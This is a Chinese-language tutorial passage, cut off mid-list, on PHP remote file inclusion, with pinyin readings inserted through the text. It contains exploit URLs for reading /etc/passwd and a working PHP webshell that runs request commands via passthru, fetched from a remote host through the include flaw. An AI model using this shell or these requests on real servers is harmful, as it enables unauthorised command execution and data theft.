php 遠(yuǎn)程包含文件漏洞分析第6/6頁(yè)
2019-11-02 14:07:28
供稿:網(wǎng)友
空的話就執(zhí)行else,來(lái)include home.php 這個(gè)文件。
三、為什么會(huì)產(chǎn)生漏洞
你也許要說(shuō),這樣很好呀,可以按照URL來(lái)動(dòng)態(tài)包含文件,多么方便呀,怎么產(chǎn)生漏洞的呢?問(wèn)題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會(huì)按照他的鏈接來(lái)操作,我們可能想自己寫想包含(調(diào)用)的文件,比如我們會(huì)隨便的打入下面這個(gè)URL:http: //www.jb51.net/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說(shuō)得步驟去執(zhí)行:取page為hello.php,然后去include(hello.php),這時(shí)問(wèn)題出現(xiàn)了,因?yàn)槲覀儾](méi)有hello.php這個(gè)文件,所以它 include的時(shí)候就會(huì)報(bào)警告,類似下列信息:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/php/index.php on line 3
注意上面的那個(gè)Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因?yàn)榍懊鏇](méi)有找到指定文件,所以包含的時(shí)候就出警告了。
四、怎么利用
上面可以看到,問(wèn)題出現(xiàn)了,那么我們?cè)趺蠢眠@樣的漏洞呢,利用方法其實(shí)很多,但是實(shí)質(zhì)上都是差不多的,我這里說(shuō)三個(gè)比較常見(jiàn)的利用方法:
1.包含讀出目標(biāo)機(jī)上其它文件
由前面我們可以看到,由于對(duì)取得的參數(shù)page沒(méi)有過(guò)濾,于是我們可以任意指定目標(biāo)主機(jī)上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對(duì)路徑(vhost/php/),那么我們就可以多次探測(cè)來(lái)包含其它文件,比如指定URL為:http: //www.jb51.net/php/index.php?page=./txt.txt 可以讀出當(dāng)前路徑下的txt.txt文件,也可以使用.. /../進(jìn)行目錄跳轉(zhuǎn)(在沒(méi)過(guò)濾../的情況下);也可以直接指定絕對(duì)路徑,讀取敏感的系統(tǒng)文件,比如這個(gè)URL:http: //www.jb51.net/php/index.php?page=/etc/passwd ,如果目標(biāo)主機(jī)沒(méi)有對(duì)權(quán)限限制的很嚴(yán)格,或者啟動(dòng) Apache的權(quán)限比較高,是可以讀出這個(gè)文件內(nèi)容的。否則就會(huì)得到一個(gè)類似于:open_basedir restriction in effect.的Warning。
2.包含可運(yùn)行的PHP木馬
如果目標(biāo)主機(jī)的"allow_url_fopen"是激活的(默認(rèn)是激活的,沒(méi)幾個(gè)人會(huì)修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個(gè)包含PHP代碼的webshell來(lái)直接運(yùn)行,比如,我先寫一段運(yùn)行命令的PHP代碼(加了注釋,應(yīng)該看得懂),如下保存為cmd.txt(后綴不重要,只要內(nèi)容為PHP格式就可以了)。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉(zhuǎn)義字符(可去掉字符串中的反斜線字符)
ini_set("max_execution_time",0); //設(shè)定針對(duì)這個(gè)文件的執(zhí)行時(shí)間,0為不限制.
echo "
1.S.T
"; //打印的返回的開(kāi)始行提示信息
passthru($_REQUEST["cmd"]); //運(yùn)行cmd指定的命令
echo "
1.S.T
"; //打印的返回的結(jié)束行提示信息
?>
以上這個(gè)文件的作用就是接受cmd指定的命令,并調(diào)用passthru函數(shù)執(zhí)行,把內(nèi)容返回在1.S.T之間。把這個(gè)文件保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī)),只要能通過(guò)HTTP訪問(wèn)到就可以了,例如地址如下:http: //www.jb51.net/cmd.txt ,然后我們就可以在那個(gè)漏洞主機(jī)上構(gòu)造如下URL來(lái)利用了:http: //www.jb51.net/php/index.php?page=//www.jb51.net/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要執(zhí)行的命令,其它常用的命令(以*UNIX為例)如下: